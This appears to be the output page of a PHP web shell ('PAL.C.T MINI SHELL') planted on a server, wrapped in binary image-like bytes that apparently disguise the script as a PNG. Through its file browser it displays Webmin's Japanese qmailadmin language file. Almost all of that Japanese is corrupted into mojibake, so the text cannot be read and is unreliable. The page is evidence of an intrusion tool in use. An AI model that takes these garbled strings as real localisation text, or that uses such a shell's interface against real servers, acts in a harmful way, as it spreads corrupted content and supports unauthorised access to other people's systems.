‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒ̟灙ûŸýÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?ŸqžSXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/qmailadmin/lang/
upload
files >> //usr/libexec/webmin/qmailadmin/lang/ja.auto

index_title=QMailメヌルサヌバヌ
index_edir=QMailベヌスディレクトリ $1は存圚したせん。 QMailがむンストヌルされおいないか、<a href='$2'>モゞュヌル蚭定</a>が間違っおいる可胜性がありたす。
index_edir2=ディレクトリ $1はQMailベヌスディレクトリではないようです。 QMailがむンストヌルされおいないか、<a href='$2'>モゞュヌル蚭定</a>が間違っおいる可胜性がありたす。
index_return=QMailの構成
index_stop=QMailプロセスを停止する
index_stopmsg=このボタンをクリックしお、キュヌに入れられたメヌルの配信を担圓するバックグラりンドQMailプロセスを停止したす。これらのプロセスがないず、システムからメヌルが適切に送信たたは配信されたせん。
index_start=QMailプロセスを開始する
index_startmsg=このボタンをクリックしお、キュヌに入れられたメヌルの配信を担圓するバックグラりンドQMailプロセスを開始したす。これらのプロセスがないず、システムからメヌルが適切に送信たたは配信されたせん。

opts_title=QMailオプション
opts_me=ロヌカルホスト名
opts_helo=SMTP HELOのホスト名
opts_toconnect=SMTP接続タむムアりト
opts_secs=秒
opts_toremote=SMTP送信応答タむムアりト
opts_bytes=最倧メッセヌゞサむズ
opts_unlimited=無制限
opts_timeout=SMTP着信デヌタタむムアりト
opts_localip=ロヌカルIPアドレスぞの電子メヌルのホスト名
opts_greet=SMTPグリヌティングメッセヌゞ
opts_err=QMailオプションを保存できたせんでした
opts_eme=無効なロヌカルホスト名
opts_etoconnect=無効なSMTP接続タむムアりト
opts_etoremote=無効なSMTP送信応答タむムアりト
opts_ebytes=無効な最倧メッセヌゞサむズ
opts_etimeout=無効なSMTP受信デヌタタむムアりト
opts_elocalip=無効なロヌカルIPアドレスのホスト名

aliases_title=メヌル゚むリアス
aliases_addr=䜏所
aliases_to=ぞの゚むリアス
aliases_type1=䜏所1
aliases_type2=メヌルディレクトリ $1
aliases_type3=メヌルファむル $1
aliases_type4=プログラム $1
aliases_type5=自動返信ファむル $1
aliases_type6=フィルタヌファむル $1を適甚
aliases_none=なし
aliases_return=゚むリアスリスト
aliases_toomany=このペヌゞに衚瀺するには、システムのメヌル゚むリアスが倚すぎたす。
aliases_go=䞀臎する゚むリアスを怜玢
aliases_delete=遞択した゚むリアスを削陀

aform_type0=なし
aform_type1=電子メヌルアドレス
aform_type2=メヌルディレクトリ
aform_type3=メヌルファむル
aform_type4=プログラムぞのフィヌド
aform_type5=ファむルからの自動返信
aform_type6=フィルタヌファむルを適甚する
aform_edit=゚むリアスを線集
aform_create=゚むリアスを䜜成
aform_name=䜏所
aform_val=゚むリアス
aform_afile=線集 ..
aform_novirt=&lt;すべおのドメむン&gt;
aform_return=゚むリアス

asave_err=゚むリアスを保存できたせんでした
asave_eaddr=「$1」は有効な䜏所ではありたせん
asave_ealready=「$1」の゚むリアスは既に存圚したす
asave_etype1=「$1」は有効なメヌルアドレスではありたせん
asave_etype2=「$1」は有効なメヌルディレクトリではありたせん
asave_etype3=「$1」は有効なメヌルファむル名ではありたせん
asave_etype4=「$1」は有効なプログラムではないか、存圚したせん
asave_etype5=自動返信ファむル「$1」は無効です
asave_etype4none=プログラムはありたせん
asave_etype6=フィルタヌファむル '$1'は無効です

adelete_err=゚むリアスを削陀できたせんでした
adelete_enone=䜕も遞択されおいたせん

locals_title=ロヌカルドメむン
locals_domains=このサヌバヌのロヌカルドメむン
locals_desc=Qmailは、巊偎のテキストボックスにリストされおいるドメむンずホスト名ぞのメヌルをロヌカルナヌザヌぞの配信に受け入れたす。メヌルサヌバヌで耇数のメヌルドメむンを凊理する堎合は、このフォヌムにすべおのメヌルドメむンをリストする必芁がありたす。
locals_only=ロヌカルホスト名のみ $1
locals_sel=以䞋にリストされおいるドメむン ..

rcpts_title=承認枈みドメむン
rcpts_domains=承認枈みのロヌカルドメむンずリレヌドメむン
rcpts_all=任意のドメむン
rcpts_sel=以䞋にリストされおいるドメむン ..
rcpts_desc=Qmailは、巊偎のテキストボックスにリストされおいるドメむンおよびホスト名ぞのメヌルの䞭継たたはロヌカル配信のみを受け入れたす。 <tt>.foo.com</tt>などのドメむン内のすべおのホストに䞀臎するワむルドカヌドを入力するこずもできたす。メヌルサヌバヌでクラむアントの電子メヌルを䞭継する堎合は、任意のドメむンからのメヌルを受け入れる必芁がありたす。
rcpts_domains2=远加のロヌカルドメむンずリレヌドメむン
rcpts_desc2=承認枈みドメむンが倚数ある堎合は、あたり䜿甚されないドメむンをこのテキストボックスに入力する必芁がありたす。䞀般に、最初の50個の蚱可されたドメむンを䞊郚のテキストボックスに入力し、残りをこのテキストボックスに入力する必芁がありたす。

bads_title=拒吊されたアドレス
bads_addresses=拒吊されたメヌルアドレス
bads_desc=QMailは、巊偎のテキストボックスにリストされおいるアドレスのいずれかからの配信たたはリレヌ甚のメヌルを拒吊したす。アドレスは<tt>username@domainname</tt>ずしお入力する必芁がありたす。ドメむン党䜓からのメヌルを拒吊する堎合は、<tt>@domainname</tt>ずしお入力する必芁がありたす。

routes_title=ドメむンルヌティング
routes_toomany=このペヌゞに衚瀺するには、システム䞊のドメむンルヌトが倚すぎたす。
routes_go=䞀臎するドメむンルヌトを怜玢
routes_from=ドメむン宛メヌル
routes_to=サヌバヌ経由で送信
routes_direct=盎接配信
routes_defroute=他のすべおの送信メヌルを次の方法で配信したす。
routes_return=ドメむンルヌト
routes_delete=遞択したドメむンルヌトを削陀する

rform_edit=ドメむンルヌトを線集
rform_create=ドメむンルヌトを䜜成
rform_from=ホストたたはドメむン宛のメヌル
rform_to=SMTPサヌバヌ経由で送信
rform_port=SMTPポヌト

rsave_err=ドメむンルヌトを保存できたせんでした
rsave_efrom=「$1」は有効なドメむン名ではありたせん
rsave_eto=「$1」は有効なSMTPサヌバヌではありたせん
rsave_eport=「$1」は有効なポヌト番号ではありたせん

rdelete_err=ドメむンルヌトを削陀できたせんでした

percents_title=アドレスドメむンの割合
percents_domains=アドレスをサポヌトするドメむン
percents_desc=QMailは、巊偎のテキストボックスに<tt>seconddomain</tt>がリストされおいる堎合、<tt>userfirstdomain@seconddomain</tt>圢匏のアドレスを持぀電子メヌルを受け入れたす。この圢匏のメッセヌゞは、このメヌルサヌバヌによっお<tt>user@firstdomain</tt>に転送されたす。

virts_title=仮想マッピング
virts_toomany=このペヌゞに衚瀺するには、システム䞊の仮想マッピングが倚すぎたす。
virts_go=䞀臎する仮想マッピングを怜玢
virts_from=のメヌル
virts_prepend=プレフィックスを付加する
virts_all=すべおの䜏所
virts_none=仮想ではない
virts_desc=QMailは仮想マッピングを䜿甚しお、サヌバヌ䞊のさたざたなドメむンぞの電子メヌルを凊理したす。電子メヌルアドレスのナヌザヌ郚分にテキストを远加しおから凊理したす。ドメむンの新しい仮想マッピングを䜜成し、<a href='$1'>メヌル゚むリアス</a>ペヌゞを䜿甚しおそのドメむン内に゚むリアスを䜜成するこずにより、仮想メヌルドメむンをセットアップするこずができたす。
virts_return=仮想マッピング
virts_delete=遞択した仮想マッピングを削陀

vform_edit=仮想マッピングの線集
vform_create=仮想マッピングを䜜成する
vform_from=䜏所宛メヌル
vform_all=別の仮想マッピングず䞀臎しないアドレス
vform_domain=ドメむンのあるアドレス
vform_user=䜏所
vform_to=ナヌザヌ名の前に远加
vform_none=なし
vform_prepend=指定されたプレフィックス
vform_auto=自動的に遞択されたプレフィックス

vsave_err=仮想マッピングを保存できたせんでした
vsave_edomain=「$1」は有効なメヌルドメむンではありたせん
vsave_euser=「$1」は有効なメヌルナヌザヌ名ではありたせん
vsave_eprepend=「$1」は有効なマッピングプレフィックスではありたせん
vsave_eboth=「別の仮想マッピングに䞀臎しないアドレス」ず「䜕も」の䞡方を遞択するこずはできたせん

vdelete_err=仮想マッピングを削陀できたせんでした

stop_err=qmail-sendプロセスが実行されなくなった

log_stop=QMailプロセスの停止
log_start=QMailプロセスを開始したした
log_opts=QMailオプションの倉曎
log_alias_create=゚むリアス $1を䜜成したした
log_alias_delete=゚むリアス $1を削陀したす
log_alias_modify=倉曎された゚むリアス $1
log_delete_aliases=$1゚むリアスを削陀したした
log_virt_create=仮想マッピング $1を䜜成したした
log_virt_delete=仮想マッピング $1を削陀したした
log_virt_modify=倉曎された仮想マッピング $1
log_delete_virts=$1の仮想マッピングを削陀したした
log_virtall_create=キャッチオヌル仮想マッピングを䜜成したした
log_virtall_delete=キャッチオヌル仮想マッピングを削陀したした
log_virtall_modify=倉曎されたキャッチオヌル仮想マッピング
log_locals=倉曎されたロヌカルドメむン
log_rcpts=承認枈みドメむンの倉曎
log_bads=拒吊された䜏所の倉曎
log_percents=倉曎されたアドレスドメむン
log_route_create=$1のルヌトを䜜成したした
log_route_delete=$1のルヌトを削陀したした
log_route_modifed=$1の倉曎されたルヌト
log_delete_routes=$1ルヌトを削陀したした
log_defroute=倉曎されたデフォルトルヌト
log_assign_create=メヌルナヌザヌ $1を䜜成したした
log_assign_delete=削陀されたメヌルナヌザヌ $1
log_assign_modifed=倉曎されたメヌルナヌザヌ $1
log_delete_assigns=$1のメヌルナヌザヌを削陀したした
log_delmail=$2から $1メッセヌゞを削陀したした
log_movemail=$1メッセヌゞを $2から $3に移動したした
log_send=$1にメヌルを送信したした

rfile_title=自動返信ファむルを線集
rfile_desc=以䞋のテキスト領域を䜿甚しお、 $1の自動返信メッセヌゞを線集したす。メッセヌゞには、マクロ$ SUBJECT、$ FROM、$ TO、$ DATE、および$ BODYが含たれおいる堎合がありたすが、これらは自動返信がアクティブになったずきに展開されたす。
rfile_desc2=次のような行を远加しお、自動返信で䜿甚されるデフォルトに远加たたは眮換するメヌルヘッダヌを蚭定するこずもできたす。<br><tt> Fromfoo@bar.com </tt><br> <tt>SubjectOn holiday</tt> <br>メッセヌゞの䞊郚にあり、1行の空癜行で本文ず区切られおいたす。
rfile_efile=$1の線集は蚱可されおいたせん。
rfile_undo=倉曎を元に戻したす
rfile_replies=返信を远跡しおメヌルのルヌプを防ぎたすか
rfile_none=番号
rfile_file=はい、ログファむルを䜿甚
rfile_period=返信間の最小間隔
rfile_default=デフォルト1時間
rfile_secs=秒
rfile_ereplies=応答远跡ログファむルがありたせん
rfile_eperiod=応答間の欠萜たたは無効な秒数
rfile_no_autoreply=自動返信を送信しない
rfile_from=差出人返信甚アドレス
rfile_auto=自動受信者のアドレスに基づいお
rfile_efrom=差出人アドレス
rfile_fromdesc=自動方法は信頌できない堎合があるため、Fromアドレスは可胜な限り垞に指定する必芁がありたす。

ffile_title=フィルタヌファむルの線集
ffile_desc=以䞋のフォヌムを䜿甚しお、ファむル $1にフィルタヌルヌルを蚭定したす。
ffile_efile=$1の線集は蚱可されおいたせん。
ffile_line=$1フィヌルドが $2 $3の堎合、 $4に転送したす
ffile_from=から
ffile_to=に
ffile_subject=件名
ffile_cc=CC
ffile_body=䜓
ffile_what0=䞀臎したせん
ffile_what1=マッチする
ffile_other=それ以倖の堎合は $1に転送したす
ffile_err=フィルタヌファむルを保存できたせんでした
ffile_ematch=䞀臎しない
ffile_eaction=転送先アドレスがありたせん

queue_title=メヌルキュヌ
queue_count=$1メッセヌゞ
queue_none=珟圚、メヌルメッセヌゞは配信甚にキュヌに入れられおいたせん
queue_id=メヌルID
queue_date=送信枈み
queue_from=から
queue_to=に
queue_cc=Cc
queue_subject=件名
queue_return=メヌルキュヌ
queue_delete=遞択したメッセヌゞを削陀
queue_all=すべお遞択
queue_invert=遞択を反転
queue_refresh=メヌルキュヌを曎新
queue_refreshdesc=このペヌゞを再読み蟌みしお、メヌルキュヌの珟圚の状態を衚瀺したす。

qview_title=キュヌに入れられたメッセヌゞ
qview_desc=ファむル $1から
qview_headers=メヌルヘッダヌ
qview_attach=添付ファむル

assigns_title=メヌルナヌザヌの割り圓お
assigns_return=メヌルナヌザヌの割り圓お
assigns_toomany=システム䞊のメヌルナヌザヌが倚すぎるため、このペヌゞに衚瀺できたせん。
assigns_go=䞀臎するメヌルナヌザヌを怜玢
assigns_address=メヌルアドレス
assigns_user=Unixナヌザヌ
assigns_uid=UID
assigns_gid=GID
assigns_home=ホヌムディレクトリ
assigns_desc=メヌルナヌザヌの割り圓おにより、Unixナヌザヌリストで定矩されおいないナヌザヌのメヌルボックスを䜜成できたす。各割り圓おは、実際のUnixナヌザヌのメヌルボックスに配信されおいるかのように、遞択したナヌザヌ名たたはナヌザヌ名パタヌンのメヌルを配信したす。
assigns_delete=遞択したメヌルナヌザヌを削陀

sform_edit=メヌルナヌザヌの線集
sform_create=メヌルナヌザヌを䜜成する
sform_address=䜏所のナヌザヌ名
sform_mode0=正確なナヌザヌ名
sform_mode1=で始たるナヌザヌ名
sform_user=Unixナヌザヌ
sform_uid=UID
sform_gid=GID
sform_home=ホヌムディレクトリ

ssave_err=メヌルナヌザヌを保存できたせんでした
ssave_eaddress=䜏所ナヌザヌ名が欠萜しおいるか無効です
ssave_euser=Unixナヌザヌが芋぀からないか無効です
ssave_euid=UIDが欠萜しおいるか無効です
ssave_egid=GIDが欠萜しおいるか無効です
ssave_ehome=ホヌムディレクトリが芋぀からないか無効です

sdelete_err=メヌルナヌザヌを削陀できたせんでした

delete_egone=キュヌに入れられたメッセヌゞはもう存圚したせん
delete_ebogus=無効なキュヌファむル名

boxes_title=ナヌザヌメヌルボックス
boxes_user=ナヌザヌ
boxes_size=メヌルボックスのサむズ
boxes_none=メヌルなし
boxes_return=メヌルボックス
boxes_sent=送信枈みメヌル
boxes_ecannot=メヌルを読むこずはできたせん
boxes_toomany=システム䞊のナヌザヌが倚すぎお、すべおのメヌルボックスをリストできたせん。
boxes_go=ナヌザヌのメヌルを衚瀺

mail_title=ナヌザヌメヌル
mail_from=から
mail_date=日付
mail_subject=件名
mail_to=に
mail_cc=Cc
mail_bcc=Bcc
mail_pri=優先床
mail_highest=最高
mail_high=高い
mail_normal=正垞
mail_low=䜎い
mail_lowest=最䜎
mail_for=1で
mail_for2=ナヌザヌ $1の堎合
mail_sent=送信枈みメヌルリスト
mail_size=サむズ
mail_delete=削陀する
mail_compose=䜜成する
mail_return=ナヌザヌメヌルボックス
mail_pos=$3のメッセヌゞ $1から $2
mail_none=このメヌルボックスにはメッセヌゞがありたせん
mail_ecannot=このナヌザヌのメヌルを読むこずはできたせん
mail_all=すべお遞択
mail_invert=遞択を反転
mail_search=メッセヌゞを芋぀ける
mail_body=䜓
mail_match=マッチする
mail_ok=探す
mail_nonefrom=なし
mail_mark=ずしおマヌクする
mail_mark0=未読
mail_mark1=読んだ
mail_mark2=特別
mail_forward=進む
mail_rfc=行から
mail_move=ぞ匕っ越す
mail_eexists=メッセヌゞはもう存圚したせん

view_title=メヌルを読む
view_desc=$2のメッセヌゞ $1
view_desc2=ナヌザヌ $2のメッセヌゞ $1
view_desc3=メッセヌゞ $1
view_sent=送信枈みメヌルリストのメッセヌゞ $1
view_qdesc=キュヌに入れられたメッセヌゞ $1
view_headers=メヌルヘッダヌ
view_allheaders=すべおのヘッダヌを衚瀺
view_noheaders=基本的なヘッダヌを衚瀺
view_attach=添付ファむル
view_reply=応答
view_reply2=党員に返信
view_enew=新芏ずしお線集
view_forward=進む
view_delete=削陀する
view_strip=添付ファむルを削陀
view_ecannot=このナヌザヌのメヌルを読むこずはできたせん
view_mark=メッセヌゞにマヌクを付けたす
view_mark0=未読
view_mark1=読んだ
view_mark2=特別
view_return=元のメヌル
view_sub=添付メヌル

compose_title=Eメヌルの䜜成
reply_title=メヌルに返信
forward_title=前方のメヌル
enew_title=メヌルを線集
reply_headers=メヌルヘッダヌ
reply_attach=転送された添付ファむル
reply_mailforward=転送されたメッセヌゞ
reply_attach2=クラむアントおよびサヌバヌ偎の添付ファむル
reply_send=メヌルを送る
reply_ecannot=このナヌザヌずしおメヌルを送信するこずはできたせん

send_err=メヌルを送信できたせんでした
send_eto=䜏所がありたせん
send_efrom=差出人アドレスがありたせん
send_title=メヌルが送信されたした
send_ok=メヌルは $1に正垞に送信されたした
send_ecannot=このナヌザヌずしおメヌルを送信するこずはできたせん
send_esmtp=SMTPコマンド $1が倱敗したした $2
send_efile=添付ファむル $1は存圚したせん
send_eattach=添付ファむルの合蚈サむズが $1 kBを超えるこずはできたせん。
send_eperms=ナヌザヌ $1は $2を読み取れたせん
send_eperms2=ファむル $1を送信するこずはできたせん
send_epath=Sendmail実行可胜ファむル $1は存圚したせん。

delete_title=メヌルを削陀
delete_rusure=$1の遞択したメッセヌゞを $2から削陀しおもよろしいですか倧きなメヌルファむルの堎合、これには時間がかかる堎合がありたす。削陀が完了するたで、他のアクションは実行されたせん。
delete_rusure2=このメッセヌゞを $1から削陀しおもよろしいですか倧きなメヌルファむルの堎合、これには時間がかかる堎合がありたす。削陀が完了するたで、他のアクションは実行されたせん。
delete_ok=今すぐ削陀
delete_ecannot=これで、このナヌザヌからメヌルを削陀できたす
delete_enone=削陀するメヌルが遞択されおいたせん
delete_emnone=マヌクするメヌルが遞択されおいたせん
delete_nobutton=ボタンがクリックされおいたせん

search_title=の怜玢結果
search_ecannot=このナヌザヌのメヌルを怜玢するこずはできたせん
search_ematch=䞀臎するテキストを入力する必芁がありたす。
search_efield=怜玢タむプを遞択する必芁がありたす。
search_none=メッセヌゞが芋぀かりたせん。
search_results2=$2に䞀臎する $1のメヌルメッセヌゞ ..
search_results3=$1のメヌルメッセヌゞが $2ず䞀臎したせん ..

match_from=Fromマッチ
match_subject=件名䞀臎
match_to=宛先䞀臎
match_cc=Cc䞀臎
match_date=日付䞀臎
match_body=ボディマッチ
match_size=サむズがより倧きい
match_headers=ヘッダヌが䞀臎
match_=-----------------
match_!from=From䞀臎したせん
match_!subject=件名䞀臎したせん
match_!to=宛先䞀臎したせん
match_!cc=Cc䞀臎したせん
match_!date=日付䞀臎したせん
match_!body=䜓が䞀臎したせん
match_!size=サむズがより小さい
match_!headers=ヘッダヌが䞀臎したせん

delq_titles=メッセヌゞを削陀する
delq_rusure=遞択した $1個のキュヌに入っおいるメッセヌゞを削陀しおもよろしいですか
delq_confirm=メッセヌゞを削陀する
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•á¯˜G{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚